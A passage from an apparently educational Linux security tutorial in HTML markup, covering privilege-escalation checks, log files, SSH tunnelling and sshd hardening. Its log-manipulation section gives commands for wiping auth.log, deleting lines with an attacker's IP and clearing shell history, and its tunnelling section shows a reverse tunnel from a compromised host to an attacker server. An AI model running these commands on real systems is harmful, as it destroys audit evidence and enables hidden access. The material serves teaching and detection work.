&lt;span class="k"&gt;for &lt;/span&gt;cron_file &lt;span class="k"&gt;in&lt;/span&gt; /etc/crontab /etc/cron.d/&lt;span class="k"&gt;*&lt;/span&gt; /var/spool/cron/crontabs/&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$cron_file&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;found &lt;span class="s2"&gt;"Writable cron file: &lt;/span&gt;&lt;span class="nv"&gt;$cron_file&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;fi
done

&lt;/span&gt;header &lt;span class="s2"&gt;"World-Writable Service Files"&lt;/span&gt;
find /etc/systemd/system /usr/lib/systemd/system &lt;span class="nt"&gt;-writable&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null |
    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; svc&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        &lt;/span&gt;found &lt;span class="s2"&gt;"Writable service: &lt;/span&gt;&lt;span class="nv"&gt;$svc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;done

&lt;/span&gt;header &lt;span class="s2"&gt;"Writable /etc/passwd"&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /etc/passwd &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; found &lt;span class="s2"&gt;"/etc/passwd is writable!"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; info &lt;span class="s2"&gt;"/etc/passwd not writable"&lt;/span&gt;

header &lt;span class="s2"&gt;"Recently Modified Files in /etc"&lt;/span&gt;
find /etc &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f 2&amp;gt;/dev/null

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;GREEN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;[*] Scan complete&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;NC&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Linux Log System
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 The Importance of Logs for Security
&lt;/h3&gt;

&lt;p&gt;Linux logs are the primary evidence trail for security events. Every authentication attempt, every sudo command, every service start and stop, every SSH connection, every kernel error — it is all logged. For defenders, logs are the foundation of detection. For attackers, understanding what gets logged (and how to manipulate it) is essential for operational security.&lt;/p&gt;

&lt;h3&gt;
  
  
  11.2 Log Locations — The Map
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/var/log/
├── auth.log           → Authentication events &lt;span class="o"&gt;(&lt;/span&gt;Debian/Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
│                        SSH logins, &lt;span class="nb"&gt;sudo &lt;/span&gt;usage, user switches, PAM events
├── secure             → Same as auth.log &lt;span class="o"&gt;(&lt;/span&gt;Red Hat/CentOS&lt;span class="o"&gt;)&lt;/span&gt;
├── syslog             → General system messages &lt;span class="o"&gt;(&lt;/span&gt;Debian/Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
├── messages           → Same as syslog &lt;span class="o"&gt;(&lt;/span&gt;Red Hat/CentOS&lt;span class="o"&gt;)&lt;/span&gt;
├── kern.log           → Kernel messages only
├── dmesg              → Boot-time kernel ring buffer
├── faillog            → Failed login attempts
├── lastlog            → Last login per user
├── wtmp               → All login/logout &lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;binary&lt;span class="o"&gt;)&lt;/span&gt;
├── btmp               → Failed login attempts &lt;span class="o"&gt;(&lt;/span&gt;binary&lt;span class="o"&gt;)&lt;/span&gt;
├── apt/               → APT package manager logs
├── nginx/             → Nginx web server access and error logs
│   ├── access.log
│   └── error.log
├── apache2/           → Apache web server logs
│   ├── access.log
│   └── error.log
├── mysql/             → MySQL database logs
├── postgresql/        → PostgreSQL logs
└── cron.log           → Cron job execution log &lt;span class="o"&gt;(&lt;/span&gt;some distros&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 Reading Binary Log Files
&lt;/h3&gt;

&lt;p&gt;Some log files are binary format and require specific commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# lastlog — when each user last logged in&lt;/span&gt;
lastlog
lastlog &lt;span class="nt"&gt;-u&lt;/span&gt; john                        &lt;span class="c"&gt;# Specific user&lt;/span&gt;

&lt;span class="c"&gt;# last — login history from wtmp&lt;/span&gt;
last                                   &lt;span class="c"&gt;# All logins&lt;/span&gt;
last &lt;span class="nt"&gt;-n&lt;/span&gt; 20                             &lt;span class="c"&gt;# Last 20&lt;/span&gt;
last john                              &lt;span class="c"&gt;# Specific user's logins&lt;/span&gt;
last reboot                            &lt;span class="c"&gt;# System reboot history&lt;/span&gt;
last &lt;span class="nt"&gt;-F&lt;/span&gt;                                &lt;span class="c"&gt;# Full timestamps&lt;/span&gt;

&lt;span class="c"&gt;# lastb — failed login attempts from btmp (requires root)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;lastb
&lt;span class="nb"&gt;sudo &lt;/span&gt;lastb &lt;span class="nt"&gt;-n&lt;/span&gt; 20
&lt;span class="nb"&gt;sudo &lt;/span&gt;lastb &lt;span class="nt"&gt;-a&lt;/span&gt;                          &lt;span class="c"&gt;# Show IP address in last column&lt;/span&gt;

&lt;span class="c"&gt;# who — currently logged in users&lt;/span&gt;
&lt;span class="nb"&gt;who
&lt;/span&gt;w                                      &lt;span class="c"&gt;# More detailed — what they're doing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.4 Key Security Events in Logs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Successful SSH logins&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted"&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# Output: May 29 10:00:01 host sshd[1234]: Accepted publickey for john from 192.168.1.5 port 51234 ssh2&lt;/span&gt;

&lt;span class="c"&gt;# Failed SSH attempts (brute force indicator)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Invalid user"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Count failed attempts by IP (detect brute force)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log |
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s2"&gt;"[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;[0-9]{1,3}"&lt;/span&gt; |
    &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Sudo usage — who ran what as root&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"sudo"&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# Output: May 29 10:05:00 host sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/cat /etc/shadow&lt;/span&gt;

&lt;span class="c"&gt;# New user creation&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"useradd&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;adduser&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;new user"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# SSH key-based authentication&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Accepted publickey"&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# PAM authentication failures (non-SSH)&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"pam_unix.*authentication failure"&lt;/span&gt; /var/log/auth.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.5 journalctl — The systemd Log Interface
&lt;/h3&gt;

&lt;p&gt;On systems using systemd, &lt;code&gt;journalctl&lt;/code&gt; provides a unified interface to the systemd journal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View all logs&lt;/span&gt;
journalctl

&lt;span class="c"&gt;# Most recent entries (follow like tail -f)&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-f&lt;/span&gt;

&lt;span class="c"&gt;# Last N lines&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-n&lt;/span&gt; 50

&lt;span class="c"&gt;# Logs since last boot&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-b&lt;/span&gt;

&lt;span class="c"&gt;# Previous boot logs&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="nt"&gt;-1&lt;/span&gt;                       &lt;span class="c"&gt;# One boot ago&lt;/span&gt;

&lt;span class="c"&gt;# Filter by time&lt;/span&gt;
journalctl &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"2024-01-01 00:00:00"&lt;/span&gt;
journalctl &lt;span class="nt"&gt;--since&lt;/span&gt; &lt;span class="s2"&gt;"1 hour ago"&lt;/span&gt;
journalctl &lt;span class="nt"&gt;--since&lt;/span&gt; yesterday &lt;span class="nt"&gt;--until&lt;/span&gt; today

&lt;span class="c"&gt;# Filter by service&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; ssh
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; nginx
journalctl &lt;span class="nt"&gt;-u&lt;/span&gt; cron

&lt;span class="c"&gt;# Filter by priority&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-p&lt;/span&gt; err                      &lt;span class="c"&gt;# Errors only&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-p&lt;/span&gt; 0..3                     &lt;span class="c"&gt;# Emergency through Error&lt;/span&gt;

&lt;span class="c"&gt;# Filter by executable&lt;/span&gt;
journalctl /usr/sbin/sshd

&lt;span class="c"&gt;# Kernel messages only&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-k&lt;/span&gt;

&lt;span class="c"&gt;# Output formats&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-o&lt;/span&gt; json-pretty              &lt;span class="c"&gt;# JSON format&lt;/span&gt;
journalctl &lt;span class="nt"&gt;-o&lt;/span&gt; short-iso                &lt;span class="c"&gt;# ISO timestamps&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.6 Log Manipulation — Attack and Detection
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Attackers clearing logs to cover tracks:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Clear auth.log (requires root)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/log/auth.log                    &lt;span class="c"&gt;# Truncate to zero bytes&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/log/auth.log
&lt;span class="nb"&gt;cat&lt;/span&gt; /dev/null &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /var/log/auth.log

&lt;span class="c"&gt;# Clear specific entries (more stealthy)&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'/10\.10\.14\.5/d'&lt;/span&gt; /var/log/auth.log  &lt;span class="c"&gt;# Remove lines with attacker's IP&lt;/span&gt;

&lt;span class="c"&gt;# Clear bash history for current session&lt;/span&gt;
&lt;span class="nb"&gt;history&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;                             &lt;span class="c"&gt;# Clear in-memory history&lt;/span&gt;
&lt;span class="nb"&gt;unset &lt;/span&gt;HISTFILE                         &lt;span class="c"&gt;# Don't write to disk&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;HISTSIZE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0
&lt;span class="nb"&gt;cat&lt;/span&gt; /dev/null &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; ~/.bash_history

&lt;span class="c"&gt;# Clear lastlog for specific user&lt;/span&gt;
lastlog &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-t&lt;/span&gt; 0                   &lt;span class="c"&gt;# Not standard but some implementations allow it&lt;/span&gt;
&lt;span class="c"&gt;# More commonly: replace wtmp/btmp with modified versions using utmpdump&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Detection of log tampering:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# File size of 0 on log files is suspicious&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lh&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# -rw-r--r-- 1 root adm 0 May 29 10:00 auth.log  ← zero bytes, suspicious&lt;/span&gt;

&lt;span class="c"&gt;# Check inode timestamps&lt;/span&gt;
&lt;span class="nb"&gt;stat&lt;/span&gt; /var/log/auth.log
&lt;span class="c"&gt;# If mtime (content modified) and ctime (inode changed) are very recent and simultaneous,&lt;/span&gt;
&lt;span class="c"&gt;# someone cleared it&lt;/span&gt;

&lt;span class="c"&gt;# Auditd can detect log file modifications&lt;/span&gt;
&lt;span class="c"&gt;# (covered in hardening stage)&lt;/span&gt;

&lt;span class="c"&gt;# Remote logging prevents local tampering&lt;/span&gt;
&lt;span class="c"&gt;# rsyslog to a remote syslog server means clearing local logs doesn't help&lt;/span&gt;
&lt;span class="c"&gt;# This is why remote log aggregation (SIEM) is essential&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. SSH — Secure Shell
&lt;/h2&gt;

&lt;h3&gt;
  
  
  12.1 What SSH Is and Why It Matters Everywhere
&lt;/h3&gt;

&lt;p&gt;SSH (Secure Shell) is the standard protocol for secure remote access to Linux and Unix systems. Every server you will ever administrate, every CTF machine you will ever target, every cloud instance you will ever access — SSH is how you get in.&lt;/p&gt;

&lt;p&gt;SSH provides:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Encrypted communication channel&lt;/strong&gt; — all data including passwords is encrypted&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication&lt;/strong&gt; — password or (preferably) public key&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote command execution&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Port forwarding and tunnelling&lt;/strong&gt; — one of the most powerful features for security work&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  12.2 SSH Client — Connecting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Basic connection&lt;/span&gt;
ssh user@hostname
ssh john@192.168.1.100
ssh john@192.168.1.100 &lt;span class="nt"&gt;-p&lt;/span&gt; 2222           &lt;span class="c"&gt;# Non-standard port&lt;/span&gt;

&lt;span class="c"&gt;# Run command without interactive shell&lt;/span&gt;
ssh john@192.168.1.100 &lt;span class="s2"&gt;"id &amp;amp;&amp;amp; whoami"&lt;/span&gt;
ssh john@192.168.1.100 &lt;span class="s2"&gt;"cat /etc/passwd"&lt;/span&gt;

&lt;span class="c"&gt;# Verbose mode — useful for debugging authentication&lt;/span&gt;
ssh &lt;span class="nt"&gt;-v&lt;/span&gt; john@192.168.1.100               &lt;span class="c"&gt;# Verbose&lt;/span&gt;
ssh &lt;span class="nt"&gt;-vvv&lt;/span&gt; john@192.168.1.100             &lt;span class="c"&gt;# Maximum verbosity&lt;/span&gt;

&lt;span class="c"&gt;# No host key checking (dangerous for production, common in lab/CTF)&lt;/span&gt;
ssh &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no john@192.168.1.100

&lt;span class="c"&gt;# Config file — manage multiple hosts&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/config
&lt;span class="c"&gt;# Host ctf-machine&lt;/span&gt;
&lt;span class="c"&gt;#     HostName 10.10.10.100&lt;/span&gt;
&lt;span class="c"&gt;#     User john&lt;/span&gt;
&lt;span class="c"&gt;#     Port 22&lt;/span&gt;
&lt;span class="c"&gt;#     IdentityFile ~/.ssh/ctf_key&lt;/span&gt;

ssh ctf-machine                         &lt;span class="c"&gt;# Uses config automatically&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 Key-Based Authentication — The Right Way
&lt;/h3&gt;

&lt;p&gt;Password-based SSH is vulnerable to brute force. Key-based authentication is the standard for any serious environment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Generate SSH key pair&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"your_email@example.com"&lt;/span&gt;
&lt;span class="c"&gt;# -t ed25519  → EdDSA, modern, preferred (shorter than RSA, equally secure)&lt;/span&gt;
&lt;span class="c"&gt;# -t rsa -b 4096  → RSA 4096-bit (legacy compatibility)&lt;/span&gt;

&lt;span class="c"&gt;# Location:&lt;/span&gt;
&lt;span class="c"&gt;# Private key: ~/.ssh/id_ed25519  (NEVER share this)&lt;/span&gt;
&lt;span class="c"&gt;# Public key:  ~/.ssh/id_ed25519.pub  (safe to share)&lt;/span&gt;

&lt;span class="c"&gt;# Copy public key to remote server&lt;/span&gt;
ssh-copy-id &lt;span class="nt"&gt;-i&lt;/span&gt; ~/.ssh/id_ed25519.pub john@192.168.1.100
&lt;span class="c"&gt;# This appends your public key to ~/.ssh/authorized_keys on the remote server&lt;/span&gt;

&lt;span class="c"&gt;# Manual method&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; ~/.ssh/id_ed25519.pub | ssh john@192.168.1.100 &lt;span class="s2"&gt;"mkdir -p ~/.ssh &amp;amp;&amp;amp; cat &amp;gt;&amp;gt; ~/.ssh/authorized_keys"&lt;/span&gt;

&lt;span class="c"&gt;# Correct permissions (SSH refuses to work if wrong)&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.ssh
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/id_ed25519              &lt;span class="c"&gt;# Private key&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;644 ~/.ssh/id_ed25519.pub          &lt;span class="c"&gt;# Public key&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.4 SSH Tunnelling — The Security Professional's Swiss Army Knife
&lt;/h3&gt;

&lt;p&gt;SSH tunnelling is one of the most powerful techniques in both offensive and defensive security work. It allows you to route traffic through SSH connections.&lt;/p&gt;

&lt;h4&gt;
  
  
  Local Port Forwarding
&lt;/h4&gt;

&lt;p&gt;Forwards a port on your local machine through the SSH connection to a destination.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;local_port]:[remote_host]:[remote_port] user@ssh_server

&lt;span class="c"&gt;# Example: Access a web server that is only accessible from the target machine&lt;/span&gt;
&lt;span class="c"&gt;# Target has a web server on localhost:8080 not exposed to the network&lt;/span&gt;
ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 9090:localhost:8080 john@192.168.1.100
&lt;span class="c"&gt;# Now: http://localhost:9090 on your machine → port 8080 on the target&lt;/span&gt;

&lt;span class="c"&gt;# Example: Access an internal database through a jump host&lt;/span&gt;
ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 5432:internal-db-server:5432 john@jump-host
&lt;span class="c"&gt;# Connect to localhost:5432 → routes to internal-db-server:5432 via jump host&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Remote Port Forwarding (Reverse Tunnelling)
&lt;/h4&gt;

&lt;p&gt;Forwards a port on the remote server back to your local machine. Used to receive connections from a restricted network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-R&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;remote_port]:[local_host]:[local_port] user@ssh_server

&lt;span class="c"&gt;# Example: Expose your local Burp Suite to a target you can SSH into&lt;/span&gt;
ssh &lt;span class="nt"&gt;-R&lt;/span&gt; 8080:localhost:8080 john@target
&lt;span class="c"&gt;# Traffic to target:8080 → forwards to your localhost:8080 (Burp Suite)&lt;/span&gt;

&lt;span class="c"&gt;# Reverse shell tunnel (post-exploitation):&lt;/span&gt;
&lt;span class="c"&gt;# On compromised host:&lt;/span&gt;
ssh &lt;span class="nt"&gt;-R&lt;/span&gt; 4444:localhost:4444 attacker@your_server
&lt;span class="c"&gt;# Now connections to your_server:4444 route to compromised_host:4444&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Dynamic Port Forwarding — SOCKS Proxy
&lt;/h4&gt;

&lt;p&gt;Turns SSH into a SOCKS5 proxy, routing all traffic through the SSH connection to the remote network.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-D&lt;/span&gt; 1080 john@pivot_host
&lt;span class="c"&gt;# Creates a SOCKS5 proxy on local port 1080&lt;/span&gt;

&lt;span class="c"&gt;# Configure tools to use the proxy:&lt;/span&gt;
proxychains nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; 10.10.10.0/24
proxychains curl http://internal-server/
proxychains python3 exploit.py

&lt;span class="c"&gt;# Configure /etc/proxychains.conf:&lt;/span&gt;
&lt;span class="c"&gt;# socks5 127.0.0.1 1080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;This is the foundation of pivoting&lt;/strong&gt; — reaching internal network segments through a compromised machine. Stage 4 will build on this extensively.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.5 SSH Server Hardening
&lt;/h3&gt;

&lt;p&gt;The SSH server configuration is in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;. This file is the most important security configuration on any Linux server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/ssh/sshd_config

&lt;span class="c"&gt;# Critical security settings:&lt;/span&gt;

&lt;span class="c"&gt;# Disable root login — always&lt;/span&gt;
PermitRootLogin no
&lt;span class="c"&gt;# Justification: Even with strong auth, root login makes brute force more attractive&lt;/span&gt;
&lt;span class="c"&gt;# and means a compromised credential = instant root&lt;/span&gt;

&lt;span class="c"&gt;# Password authentication — disable if using keys&lt;/span&gt;
PasswordAuthentication no
&lt;span class="c"&gt;# Only allow key-based auth — eliminates password brute force entirely&lt;/span&gt;

&lt;span class="c"&gt;# Disable empty passwords&lt;/span&gt;
PermitEmptyPasswords no

&lt;span class="c"&gt;# Limit authentication attempts&lt;/span&gt;
MaxAuthTries 3

&lt;span class="c"&gt;# Limit login grace period&lt;/span&gt;
LoginGraceTime 30

&lt;span class="c"&gt;# Restrict which users can SSH&lt;/span&gt;
AllowUsers john alice
AllowGroups sshusers
&lt;span class="c"&gt;# Or deny specific:&lt;/span&gt;
DenyUsers nobody guest

&lt;span class="c"&gt;# Change default port (security through obscurity, not a substitute for real security)&lt;/span&gt;
Port 2222
&lt;span class="c"&gt;# Reduces automated scanner noise but determined attackers will find it&lt;/span&gt;

&lt;span class="c"&gt;# Listen only on specific interface&lt;/span&gt;
ListenAddress 192.168.1.100
&lt;span class="c"&gt;# Don't listen on all interfaces if not needed&lt;/span&gt;

&lt;span class="c"&gt;# Disable X11 forwarding if not needed&lt;/span&gt;
X11Forwarding no

&lt;span class="c"&gt;# Disable TCP forwarding if not needed (for untrusted users)&lt;/span&gt;
AllowTcpForwarding no

&lt;span class="c"&gt;# Idle timeout&lt;/span&gt;
ClientAliveInterval 300     &lt;span class="c"&gt;# Send keepalive every 300 seconds&lt;/span&gt;
ClientAliveCountMax 2       &lt;span class="c"&gt;# Disconnect after 2 missed keepalives = 10 minutes idle&lt;/span&gt;

&lt;span class="c"&gt;# Protocol version — SSHv2 only&lt;/span&gt;
Protocol 2                  &lt;span class="c"&gt;# SSHv1 is broken, never use it&lt;/span&gt;

&lt;span class="c"&gt;# Logging level&lt;/span&gt;
LogLevel VERBOSE            &lt;span class="c"&gt;# More details than the default INFO&lt;/span&gt;

&lt;span class="c"&gt;# Apply changes&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl reload ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;After hardening — verify:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test configuration for errors&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sshd &lt;span class="nt"&gt;-t&lt;/span&gt;                           &lt;span class="c"&gt;# Test mode — reports config errors&lt;/span&gt;

&lt;span class="c"&gt;# Check effective config&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sshd &lt;span class="nt"&gt;-T&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"permitrootlogin|passwordauthentication|port|allowusers"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.6 SSH Security Forensics
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Who is currently connected via SSH?&lt;/span&gt;
&lt;span class="nb"&gt;who
&lt;/span&gt;w
ss &lt;span class="nt"&gt;-tnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; :22

